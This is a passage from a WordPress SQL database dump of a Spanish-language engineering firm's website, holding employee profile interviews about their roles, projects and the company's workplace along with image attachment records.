común.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nPoder hacer las cosas que me gusta hacer en un ambiente que me lo permita, me da mucha satisfacción.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nMuchas compañías hacen un trabajo igual o similar al de Moffatt & Nichol, pero creo que el ambiente de trabajo aquí nos hace muy superiores a otras compañías\r\n</p>','Victor ','<p class=\"para-text\">\r\n<strong>Victor</strong>\r\nTÃ©cnico en CADD civil \r\n\r\n<strong>Â¿Cuanto tiempo ha trabajado con la firma?</strong>\r\nHe estado con Moffatt & Nichol por tres excelentes aÃ±os.\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a Moffatt & Nichol?</strong>\r\nColoquÃ© mi CV en lÃnea en monster.com, y Dave Lowy, reclutador interno de Moffatt & Nichol, me encontrÃ³ y me mostrÃ³ que la firma era el lugar ideal para mÃ.</p>','publish','open','open','','victor','','','2013-01-09 06:15:12','2013-01-09 06:15:12','',0,'http://moffattnichol.com/spanish/?p=1524',0,'post','',0),(1525,1,'2012-01-06 08:04:26','2012-01-06 08:04:26','','victor','','inherit','open','open','','victor','','','2012-01-06 08:04:26','2012-01-06 08:04:26','',1524,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg',0,'attachment','image/jpeg',0),(1529,1,'2012-01-04 08:24:06','2012-01-04 02:54:06','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Ira.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Ira.jpg\" alt=\"\" title=\"Ira\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1530\" /></a>\r\n\r\n<strong>Ira</strong>\r\nIngeniero civil/geotécnico \r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nUna variedad de proyectos estimulantes e interesantes junto con la oportunidad de trabajar con profesionales expertos en sus campos y clientes que aprecian nuestras ideas.\r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nComencé como ingeniero de proyecto, trabajando con nuestros ingenieros internos, y ahora actúo como gerente de proyectos. \r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nProyectos portuarios y costeros, incluyendo renovaciones de terminales marítimas, reemplazos de pavimento, rompeolas, recuperación de playas y proyectos de dragado.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nInteractuar con otros ingenieros y ver como se desarrolla una solución práctica a partir de un problema complejo.\r\n\r\n<strong>¿Cuál es el proyecto más interesante en que ha participado mientras trabaja con M&N?</strong>\r\nParticipar en el proyecto Craney Island Eastward Expansion me ha permitido trabajar de cerca con expertos en el campo de la ingeniería geotécnica (incluyendo profesores de Virginia Tech e ingenieros de Japón y Londres) que traen experiencias y lecciones aprendidas de proyectos de todo el mundo. \r\n\r\n</p>','Ira','<p class=\"para-text\">\r\n<strong>Ira</strong>\r\nIngeniero civil/geotÃ©cnico \r\n\r\n<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\r\n5 aÃ±os \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a M&</strong>N? Debido a mi interÃ©s en proyectos costeros y portuarios, siempre habÃa estado familiarizado con la gran reputaciÃ³n de Moffatt & Nichol en esas Ã¡reas. Tuve la suerte de conocer al gerente de la oficina de Norfolk y enterarme sobre una oportunidad en la reciente oficina de Norfolk. ','publish','open','open','','ira','','','2012-09-06 10:05:09','2012-09-06 10:05:09','',0,'http://moffattnichol.com/spanish/?p=1529',0,'post','',0),(1530,1,'2012-01-06 08:23:50','2012-01-06 08:23:50','','Ira','','inherit','open','open','','ira','','','2012-01-06 08:23:50','2012-01-06 08:23:50','',1529,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Ira.jpg',0,'attachment','image/jpeg',0),(1534,1,'2012-01-03 08:38:00','2012-01-03 03:08:00','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Dean.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Dean.jpg\" alt=\"\" title=\"Dean\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1535\" /></a>\r\n\r\n<p class=\"para-text\">\r\n<strong>Dean </strong>\r\nEspecialista principal de operaciones portuarias\r\n\r\n<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\r\nHe trabajado con la firma por mÃ¡s de 3 aÃ±os. Originalmente, ayudÃ© a establecer nuestra oficina en Londres, que se abriÃ³ a inicios de julio de 2005. DespuÃ©s fui transferido a Nueva York en donde he tenido la oportunidad de ayudar a enlazar nuestras operaciones europeas y norteamericanas.\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a M&N?</strong>\r\nVengo de una familia â€œportuariaâ€ muy tradicional. Mi padre trabajÃ³ en los muelles de Londres y en el puerto de Tilbury, mi abuelo fue estibador en West India Docks y mi bisabuelo trabajÃ³ en el â€œPool of Londonâ€ (un Ã¡rea situada entre el puente de la torre y el puente de Londres), asÃ que quizÃ¡s fue inevitable que ingresara al negocio familiar en el puerto de Tilbury. En ese empleo, carguÃ© naves, estuve a cargo de estibadores y conduje todo los equipos. La oportunidad para trasladarme al equipo comercial se presentÃ³ en Forth Ports PLC. MÃ¡s adelante, decidÃ cambiar a periodismo y fui a trabajar a Containerisation International antes de ingresar al Ã¡rea de consultorÃa marÃtima. Estaba allÃ, alrededor del aÃ±o 2001, cuando comencÃ© a trabajar como consultor secundario para Moffatt & Nichol. TambiÃ©n me reunÃa regularmente con el Director de desarrollo de negocios de la firma. Cuando llegÃ³ la oportunidad de unirme a la firma y ayudar a establecer una nueva oficina en Londres, me pareciÃ³ la decisiÃ³n correcta a tomar, y es algo que jamÃ¡s he lamentado.\r\n\r\n<strong>Â¿QuÃ© separa a M&N de la competencia? </strong>\r\nDesde un punto de vista puramente comercial y de consultor portuario, es una combinaciÃ³n de varias cosas: La capacidad de ofrecer mÃ¡s que solamente servicios de consultorÃa; el paquete de Moffatt & Nichol representa mucho, porque despuÃ©s de ofrecer el anÃ¡lisis comercial inicial, no nos desligamos del cliente como algunos de nuestros competidores de consultorÃa, porque esa es toda su capacidad. Ofrecemos a nuestros clientes consistencia y continuidad en los proyectos, llevÃ¡ndolos desde el concepto y el planeamiento a travÃ©s del diseÃ±o, hasta terminar el proyecto. Mucha experiencia directa y aplicable dentro de nuestro equipo comercial â€“ ofrecemos una gran tranquilidad a muchos de nuestros clientes al poder demostrarles que tenemos personal que ha ocupado los puestos que ellos tienen. Para un puerto o una compaÃ±Ãa naviera, saber que hemos lidiado con los mismos problemas que ellos tienen, es muy importante. Trabajamos mucho para construir y mantener relaciones de largo plazo con los clientes. Probablemente, lo mÃ¡s importante de todo es que somos honestos y entregamos lo que decimos que entregaremos. Ofrecemos una credibilidad cimentada a lo largo del tiempo. Uno de los mejores consejos que me dieron y que siempre intento seguir con Moffatt & Nichol es la creencia de que \"hacemos lo que sabemos hacer mejor\"\r\n\r\n<strong>Â¿QuÃ© es lo mÃ¡s interesante en que ha participado durante su trabajo con M&N? </strong>\r\nLa respuesta es fÃ¡cil: Â¡cambiarse a otra oficina y a otro paÃs! En tÃ©rminos de proyectos, ha habido varios, pero el principal para mÃ es un proyecto sobre un cliente que adquiriÃ³ una participaciÃ³n en una cartera de terminales de contenedores con instalaciones en Long Beach, Oakland y Seattle, ademÃ¡s de JapÃ³n y TaiwÃ¡n. Tuvimos que combinar una mezcla de anÃ¡lisis industrial comercial con la debida diligencia tÃ©cnica ganada de enviar a un equipo experto experimentado a seis diferentes terminales. Este equipo coordinÃ³ y trabajÃ³ con varios profesionales de toda la compaÃ±Ãa, lo que nos dio una mayor comprensiÃ³n y un conocimiento directo de la amplias capacidades y experiencia profesional que posee Moffatt & Nichol. \r\n\r\n</p>\r\n','Dean','<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\r\nHe trabajado con la firma por mÃ¡s de 3 aÃ±os. Originalmente, ayudÃ© a establecer nuestra oficina en Londres, que se abriÃ³ a inicios de julio de 2005. DespuÃ©s fui transferido a Nueva York en donde he tenido la oportunidad de ayudar a enlazar nuestras operaciones europeas y norteamericanas.\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a M&N?</strong>\r\nVengo de una familia â€œportuariaâ€ muy tradicional </p>','publish','open','open','','dean','','','2012-07-09 07:47:05','2012-07-09 07:47:05','',0,'http://moffattnichol.com/spanish/?p=1534',0,'post','',0),(1535,1,'2012-01-06 08:36:46','2012-01-06 08:36:46','','Dean','','inherit','open','open','','dean','','','2012-01-06 08:36:46','2012-01-06 08:36:46','',1534,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Dean.jpg',0,'attachment','image/jpeg',0),(1537,1,'2012-01-02 08:41:30','2012-01-02 03:11:30','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/rod.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/rod.jpg\" alt=\"\" title=\"rod\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1538\" /></a>\r\n\r\n<p class=\"para-text\">\r\n<strong>Rod</strong>\r\nIngeniero civil principal/Arquitecto naval\r\n\r\n<strong>¿Cuanto tiempo ha trabajado con M&N?</strong>\r\nHe estado aquí algo más de 13 años. \r\n\r\n<strong>¿Qué puesto tenía cuando comenzó?</strong>\r\nComencé como ingeniero de proyectos trabajando en el reforzamiento sísmico de las instalaciones de una gran terminal marítima petrolera. Era responsable de modelar el terminal y de determinar la cantidad y ubicación del reforzamiento necesario. Era un modelo muy complicado en ese entonces, pero aprendí mucho del desarrollo y análisis de ese modelo y de trabajar con el gerente del proyecto. También trabajé como arquitecto naval en varios proyectos, analizando y diseñando sistemas de amarre para barcos, desembarques de transbordador y en otros tipos de naves. Incluso analicé la estabilidad hidrostática de un excusado exterior flotante para un proyecto.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros? </strong>\r\nAhora manejo proyectos, principalmente terminales marítimas petroleras, desde que las nuevas reglamentaciones entraron en vigencia. Disfruto de este trabajo porque utilizo mi experiencia tanto en ingeniería estructural como en arquitectura naval. Realmente disfruto de trabajar con terminales porque veo que mis clientes se preocupan por sus instalaciones y quieren saber lo que pueden hacer para mejorarlas. Es una forma de trabajar en equipo en un proyecto. También he participado en proyectos de muelles y dársenas. Como ya tengo mis años y además tengo experiencia en este tipo de proyectos, me pidieron participar en un comité nacional que está desarrollando criterios de diseño antisísmico para muelles y dársenas. Esa ha sido una experiencia muy agradable, ya que pude conocer y trabajar con algunas personas muy inteligentes y experimentadas y siento que estoy contribuyendo a una norma de diseño nacional. ¿No es genial?\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nAdemás de muelles, dársenas y sistemas de amarre de buques, también he trabajado en puertos deportivos y puentes. He participado en el desarrollo conceptual de un sendero peatonal alrededor de un lago en una ubicación muy panorámica. Aunque las condiciones del diseño para el sendero eran muy difíciles, el mayor desafío era comunicar cómo iba a lucir el sendero al cliente y a la comunidad antes de terminar cualquier trabajo real de diseño de ingeniería. Terminamos creando algunas foto-simulaciones del sendero muy realistas desde diferentes ángulos para mostrar a todos que la estructura no sería algo horrible y que mejoraría la seguridad peatonal. \r\n</p>\r\n','Rod','<p class=\"para-text\">\r\n<strong>Rod</strong>\r\nIngeniero civil principal/Arquitecto naval\r\n\r\n<strong>Â¿Cuanto tiempo ha trabajado con M&N?</strong>\r\nHe estado aquÃ algo mÃ¡s de 13 aÃ±os. \r\n\r\n<strong>Â¿QuÃ© puesto tenÃa cuando comenzÃ³?</strong>\r\nComencÃ© como ingeniero de proyectos trabajando en el reforzamiento sÃsmico de las instalaciones de una gran terminal marÃtima petrolera.</p>','publish','open','open','','rod','','','2012-09-06 10:07:42','2012-09-06 10:07:42','',0,'http://moffattnichol.com/spanish/?p=1537',0,'post','',0),(1538,1,'2012-01-06 08:40:55','2012-01-06 08:40:55','','rod','','inherit','open','open','','rod','','','2012-01-06 08:40:55','2012-01-06 08:40:55','',1537,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/rod.jpg',0,'attachment','image/jpeg',0),(1541,1,'2012-01-01 08:45:33','2012-01-01 03:15:33','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Johney.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Johney.jpg\" alt=\"\" title=\"Johney\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1542\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Johnny </strong>\r\nIngeniero hidráulico \r\n\r\n<strong>¿Cómo llegó a M&N? </strong>\r\nComencé a trabajar con la firma hace 14 años, después de terminar las clases para mi maestría.\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nTrabajo en una variedad de proyectos en la firma, lo que me mantiene al tanto de los últimos avances en mi campo de experiencia profesional, la ingeniería costera e hidráulica. La firma promueve un espíritu emprendedor, que da a todos los empleados un verdadero sentido de propiedad y contribución. La firma también valora la calidad del trabajo por encima del margen de beneficio y está comprometida con relaciones de largo plazo con los clientes.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nPrimero trabajé como técnico en ingeniería y después como ingeniero de proyecto. Ahora trabajo como gerente de proyecto para proyectos de recursos costeros e hídricos. Además de mi responsabilidad en la gerencia del proyecto, apoyo los esfuerzos del desarrollo de negocios en nuestra especialidad de recursos costeros, medioambientales e hídricos. También oriento a ingenieros jóvenes en nuestra oficina.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja? </strong>\r\nTrabajo básicamente en proyectos de ingeniería de recursos costeros e hídricos, que comprenden desde infraestructura de drenaje y mejores prácticas de gestión de aguas pluviales para puertos y municipalidades, o proyectos de recuperación de playas y planeamiento de bocas de entrada para organismos locales y estatales, hasta diseños hidráulicos de propuestas de aliviaderos y tinas de reutilización de agua de esclusas. \r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nHemos duplicado de tamaño, pero aún mantenemos nuestro ambiente “familiar”.  Hemos abierto muchas oficinas nuevas en Estados Unidos y a nivel internacional, pero hemos mantenido nuestro principal talento técnico en los centros especializados que proporcionan productos de alta calidad a nuestros clientes en todo el mundo. \r\n</p>\r\n\r\n','Johnny','<p class=\"para-text\">\r\n<strong>Johnny </strong>\r\nIngeniero hidrÃ¡ulico \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\r\nComencÃ© a trabajar con la firma hace 14 aÃ±os, despuÃ©s de terminar las clases para mi maestrÃa.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong>\r\nTrabajo en una variedad de proyectos en la firma, lo que me mantiene al tanto de los Ãºltimos avances en mi campo de experiencia profesional, la ingenierÃa costera e hidrÃ¡ulica. La firma promueve un espÃritu emprendedor, que da a todos los empleados un verdadero sentido de propiedad y contribuciÃ³n.</p>','publish','open','open','','johnny','','','2012-09-06 10:09:12','2012-09-06 10:09:12','',0,'http://moffattnichol.com/spanish/?p=1541',0,'post','',0),(1542,1,'2012-01-06 08:45:04','2012-01-06 08:45:04','','Johney','','inherit','open','open','','johney','','','2012-01-06 08:45:04','2012-01-06 08:45:04','',1541,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Johney.jpg',0,'attachment','image/jpeg',0),(1544,1,'2011-12-31 08:49:27','2011-12-31 03:19:27','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/deven.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/deven.jpg\" alt=\"\" title=\"deven\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1545\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Devan</strong>\r\n Ingeniero civil  \r\n \r\n<strong>¿Cuanto tiempo ha trabajado con M&N? </strong>\r\n5 años\r\n\r\n<strong>¿Qué le ha mantenido con la firma?</strong>\r\nTrabajo en una gran variedad de proyectos ubicados por todo el mundo, desde dragados a transporte. Básicamente, trabajo en proyectos de dragado para instalaciones portuarias y navales, pero he diseñado drenajes pluviales y proyectos de nivelación para desarrollos de áreas sin edificar adyacentes a puertos, y también he participado en inspecciones submarinas de instalaciones de frentes costeros.  ¡La diversidad de trabajo es emocionante!\r\n\r\n<strong>¿Cómo se ha modificado su función en la firma? </strong>\r\nFui contratado como ingeniero junior/técnico CAD. Ahora tengo técnicos CAD y diseñadores que trabajan conmigo. También estoy comenzando a asumir la función de ingeniero de proyecto en algunos proyectos. \r\n\r\n<strong>¿Cómo describiría su ambiente de trabajo?</strong>\r\nEs muy profesional y orientado a trabajar en equipo.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función? </strong>\r\nEs muy satisfactorio cuando nuestros clientes regresan a M&N para solicitar servicios de diseño. También me impresionan el profesionalismo y la experiencia de los empleados de M&N y la calidad de sus servicios. \r\n\r\n</p>\r\n','Devan ','<p class=\"para-text\">\r\n<strong>Devan</strong>\r\n Ingeniero civil  \r\n \r\n<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\r\n5 aÃ±os\r\n\r\n<strong>Â¿QuÃ© le ha mantenido con la firma?</strong>\r\nTrabajo en una gran variedad de proyectos ubicados por todo el mundo, desde dragados a transporte. BÃ¡sicamente, trabajo en proyectos de dragado para instalaciones portuarias y navales, pero he diseÃ±ado drenajes pluviales y proyectos de nivelaciÃ³n para desarrollos de Ã¡reas sin edificar adyacentes a puertos,</p>','publish','open','open','','devan','','','2012-09-06 10:10:33','2012-09-06 10:10:33','',0,'http://moffattnichol.com/spanish/?p=1544',0,'post','',0),(1545,1,'2012-01-06 08:49:10','2012-01-06 08:49:10','','deven','','inherit','open','open','','deven','','','2012-01-06 08:49:10','2012-01-06 08:49:10','',1544,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/deven.jpg',0,'attachment','image/jpeg',0),(1550,1,'2012-01-06 08:52:20','2012-01-06 08:52:20','','Elixabeth','','inherit','open','open','','elixabeth','','','2012-01-06 08:52:20','2012-01-06 08:52:20','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Elixabeth.jpg',0,'attachment','image/jpeg',0),(1552,1,'2011-12-29 08:55:51','2011-12-29 03:25:51','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/miechel.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/miechel.jpg\" alt=\"\" title=\"miechel\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1553\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Michael</strong>\r\nGerente principal de proyectos  \r\n \r\n<strong>¿Cómo llegó a M&N? </strong>\r\nPersonal muy experimentado de Moffatt & Nichol presentó un interesante proyecto de restauración de riberas en una reunión de estudiantes de la ASCE (Asociación Americana de Ingenieros Civiles) en mi universidad. ¡Quedé encantado! Tuve una entrevista con la firma 6 meses después y me contrataron a tiempo parcial, así que pude completar mi último semestre de la universidad. Me contrataron a tiempo completo después de la graduación en junio de 1989 con un salario de ¡$13 por hora!\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nLa variedad y la oportunidad. La cantidad de tipos diferentes de proyectos en los que participo hace que mi trabajo sea interesante y estimulante. La oportunidad de intentar nuevas cosas y participar en diversos niveles del proceso del diseño y construcción es una valiosa experiencia que se conserva por el resto de su carrera. Cuando les pregunto a nuevos empleados que vinieron de otras firmas, después de haber estado aquí algunos meses, qué piensan de M&N, casi siempre obtengo la misma respuesta: la mejor compañía en que he trabajado jamás, y por mucha diferencia. Así que, ¿por qué debería irme?\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nUna variedad de proyectos, tales como puertos deportivos, rompeolas, desembocaduras, instalaciones de almacenamiento en dique seco, restauraciones de humedales, estudios de zonas de navegación, malecones, inspecciones de la estructura de frentes costeros, inspecciones submarinas con buzos, instrumentación, gestión de la construcción, protecciones de riberas, calzadas, estacionamientos, e incluso una estación de bombeo.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo? </strong>\r\nMuy profesional y respetuoso. Nadie considera nada por sentado. Es una atmósfera de equipo que trabaja muy bien no solo a nivel de la oficina sino también entre oficinas. \r\n\r\n</p>\r\n\r\n','Michael ','<p class=\"para-text\">\r\n<strong>Michael</strong>\r\nGerente principal de proyectos  \r\n \r\n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\r\nPersonal muy experimentado de Moffatt & Nichol presentÃ³ un interesante proyecto de restauraciÃ³n de riberas en una reuniÃ³n de estudiantes de la ASCE (AsociaciÃ³n Americana de Ingenieros Civiles) en mi universidad. Â¡QuedÃ© encantado! Tuve una entrevista con la firma 6 meses despuÃ©s y me contrataron a tiempo parcial, asÃ que pude completar mi Ãºltimo semestre de la universidad.</p>','publish','open','open','','michael','','','2012-09-06 10:11:31','2012-09-06 10:11:31','',0,'http://moffattnichol.com/spanish/?p=1552',0,'post','',0),(1553,1,'2012-01-06 08:55:31','2012-01-06 08:55:31','','miechel','','inherit','open','open','','miechel','','','2012-01-06 08:55:31','2012-01-06 08:55:31','',1552,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/miechel.jpg',0,'attachment','image/jpeg',0),(1555,1,'2011-12-28 08:58:19','2011-12-28 03:28:19','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/mark.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/mark.jpg\" alt=\"\" title=\"mark\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1556\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Mark </strong>\r\nIngeniero costero principal \r\n \r\n<strong>¿Qué le ha mantenido con Moffatt & Nichol?</strong> \r\nLa cultura enfocada en las personas de la firma; apoya a las personas que tienen un espíritu emprendedor. La firma también promueve sólidas relaciones dentro de cada oficina y entre las oficinas.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros? </strong>\r\nMe uní a la firma para trabajar como ingeniero de proyecto para proyectos grandes, y como gerente de proyecto para proyectos más pequeños. Mi función se ha desarrollado bastante durante mi tiempo en la firma. Manejo una amplia gama de proyectos pequeños y grandes y también doy apoyo a las actividades y al marketing del desarrollo de negocios, tales como el desarrollo de relaciones con clientes privados y públicos y la redacción y preparación de licitaciones. También oriento y superviso los horarios y la carga de trabajo de los ingenieros costeros en nuestra oficina.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja?</strong> \r\nEn los cinco últimos años, nuestra oficina ha proporcionado servicios de planeamiento maestro y diseño para varios desarrollos privados en el sureste de EE.UU. y en el Caribe. Estos proyectos se enfocan en la alimentación y el mejoramiento de playas, protección costera y planeamiento, y diseño de puertos deportivos. Además, hemos proporcionado servicios de ingeniería costera a varios distritos y municipalidades de gestión de agua.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha crecido más y está más enfocada en aumentar sus capacidades en nuestras prácticas esenciales. La compañía también está volviendo al ámbito internacional, donde hay importantes oportunidades de crecimiento \r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo? </strong>\r\n¡Excelente! Sigo aprendiendo algo nuevo cada día en base a la interacción entre los empleados de mi oficina y nuestras otras oficinas en todo el mundo.\r\n\r\n<strong>¿Qué separa a M&N de la competencia? </strong>\r\nNuestro grado de reacción a nuestros clientes; nos esforzamos mucho para mantener relaciones de largo plazo con nuestros clientes. \r\n\r\n</p>','Mark','<p class=\"para-text\">\r\n<strong>Mark </strong>\r\nIngeniero costero principal \r\n \r\n<strong>Â¿QuÃ© le ha mantenido con Moffatt & Nichol?</strong> \r\nLa cultura enfocada en las personas de la firma; apoya a las personas que tienen un espÃritu emprendedor. La firma tambiÃ©n promueve sÃ³lidas relaciones dentro de cada oficina y entre las oficinas.\r\n\r\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros? </strong>\r\nMe unÃ a la firma para trabajar como ingeniero de proyecto para proyectos grandes,</p>','publish','open','open','','mark','','','2012-09-06 10:14:36','2012-09-06 10:14:36','',0,'http://moffattnichol.com/spanish/?p=1555',0,'post','',0),(1556,1,'2012-01-06 08:57:46','2012-01-06 08:57:46','','mark','','inherit','open','open','','mark','','','2012-01-06 08:57:46','2012-01-06 08:57:46','',1555,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/mark.jpg',0,'attachment','image/jpeg',0),(1561,1,'2011-12-27 09:58:47','2011-12-27 04:28:47','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Margaret.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Margaret.jpg\" alt=\"\" title=\"Margaret\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1562\" /></a>\r\n\r\n<p class=\"para-text\">\r\n<strong>Margaret, Ciencias medioambientales  </strong>\r\nCientífica medioambiental \r\n \r\nBióloga pesquera con una maestría en ciencias, Margaret se especializa en estudios ambientales locales, estatales y federales así como en las regulaciones sobre la gestión de autorizaciones para proyectos acuáticos y de frentes costeros.\r\n\r\n<strong>¿Cuándo y por qué se unió a Moffatt & Nichol?</strong>\r\nQuería trabajar para una compañía consultora que se preocupara por sus empleados, así como donde pudiera seguir trabajando en temas ambientales y de gestión de autorizaciones en relación con proyectos acuáticos y de frentes costeros. Moffatt & Nichol me dio esa oportunidad, así que me sumé en 2006.\r\n\r\n<strong>¿Qué es lo que ama más sobre su trabajo?</strong>\r\nDisfruto trabajar en proyectos de nuevos desarrollos, específicamente los que promuevan aplicaciones o negocios que dependen del agua. La importancia de los frentes costeros y las riberas en nuestra economía, comunidad, cultura y medioambiente, hace que trabajar en este tipo de proyectos, y los importantes y polémicos temas en relación con ellos, sea muy satisfactorio. Creo que una industria próspera de frentes costeros y un medioambiente ribereño sano no son excluyentes. En Moffatt & Nichol, he podido continuar mi participación en proyectos que promueven industrias que dependen del agua y riberas sanas y sostenibles. No hay nada más satisfactorio que ver que un proyecto para un cliente se termina a tiempo y dentro del presupuesto después de exitosas negociaciones con organismos reguladores, gobiernos tribales y la comunidad.\r\n\r\n<strong>¿Cómo describiría su ambiente de trabajo?</strong>\r\nCuando comencé, me preguntaba si por no ser ingeniera tendría la sensación de no ser parte del equipo. Aunque ese no ha sido el caso. No solo son los proyectos en los que trabajo, sino la gente con quien trabajo, que hacen que mi tiempo en Moffatt & Nichol sea muy placentero. He conocido mucha gente hábil y experta, no solo de mi oficina, sino también de otras oficinas dentro de la compañía. Aprecio el apoyo que Moffatt & Nichol da a sus empleados para conocerse e interaccionar con colegas de todo el mundo. Me ha ayudado a sentirme parte de un gran equipo.\r\n\r\n\r\n</p>\r\n','Margaret, Ciencias medioambientales ','<p class=\"para-text\">\r\n<strong>Margaret, Ciencias medioambientales  </strong>\r\nCientÃfica medioambiental \r\n \r\nBiÃ³loga pesquera con una maestrÃa en ciencias, Margaret se especializa en estudios ambientales locales, estatales y federales asÃ como en las regulaciones sobre la gestiÃ³n de autorizaciones para proyectos acuÃ¡ticos y de frentes costeros.\r\n\r\n<strong>Â¿CuÃ¡ndo y por quÃ© se uniÃ³ a Moffatt & Nichol?</strong></p>','publish','open','open','','margaretes','','','2012-09-06 10:18:48','2012-09-06 10:18:48','',0,'http://moffattnichol.com/spanish/?p=1561',0,'post','',0),(1562,1,'2012-01-06 09:58:17','2012-01-06 09:58:17','','Margaret','','inherit','open','open','','margaret','','','2012-01-06 09:58:17','2012-01-06 09:58:17','',1561,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Margaret.jpg',0,'attachment','image/jpeg',0),(1565,1,'2011-12-26 10:01:42','2011-12-26 04:31:42','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor-2.jpg\"><img class=\"alignnone size-full wp-image-1566\" title=\"victor-2\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor-2.jpg\" alt=\"\" width=\"150\" height=\"152\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Victor </strong>\r\nIngeniero portuario \r\n \r\nVíctor, que trabaja con Moffatt & Nichol desde hace más de tres años, tiene más de 11 años de experiencia especializada en el diseño, análisis, inspección y rehabilitación de instalaciones portuarias. También es un buzo experimentado y un talentoso guitarrista que toca en una banda de tributo para la banda norteamericana de rock duro, Tool. \r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nVine a Moffatt & Nichol a continuar mi experiencia de ingeniería marítima y para ayudar a desarrollar una nueva oficina, pero me he quedado debido a las interesantes oportunidades de trabajo y a los excelentes compañeros de trabajo y clientes. La compañía apoya a sus profesionales y les ofrece oportunidades para el autodesarrollo.\r\n\r\n<strong>¿Qué es lo que ama más sobre su trabajo?</strong>\r\nPuedo trabajar en diversos proyectos marítimos, pero generalmente, en el diseño y la construcción de puertos nuevos. Disfruto de la diversidad y los singulares desafíos que se encuentran en el trabajo con frentes costeros.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nMoffatt & Nichol es un líder en la industria en los proyectos relacionados con frentes costeros y puertos, con mucha historia y una impresionante cartera de proyectos. Este reconocimiento nos abre puertas con nuevos clientes, y nuestros éxitos anteriores mantienen a nuestros clientes existentes\r\n\r\n<strong>¿Qué es lo más interesante en que ha participado durante su trabajo con Moffatt & Nichol?</strong>\r\nParticipé en dar forma y dirigir uno de los proyectos de simulación marítima más grandes emprendidos jamás (enrutado a través de más de 100 millas náuticas de vías navegables medioambientalmente sensibles y meteorológicamente activas), y después tuve que separarme para hacer una inspección submarina en la costa de Luisiana. ¿Qué tal para único y diverso? 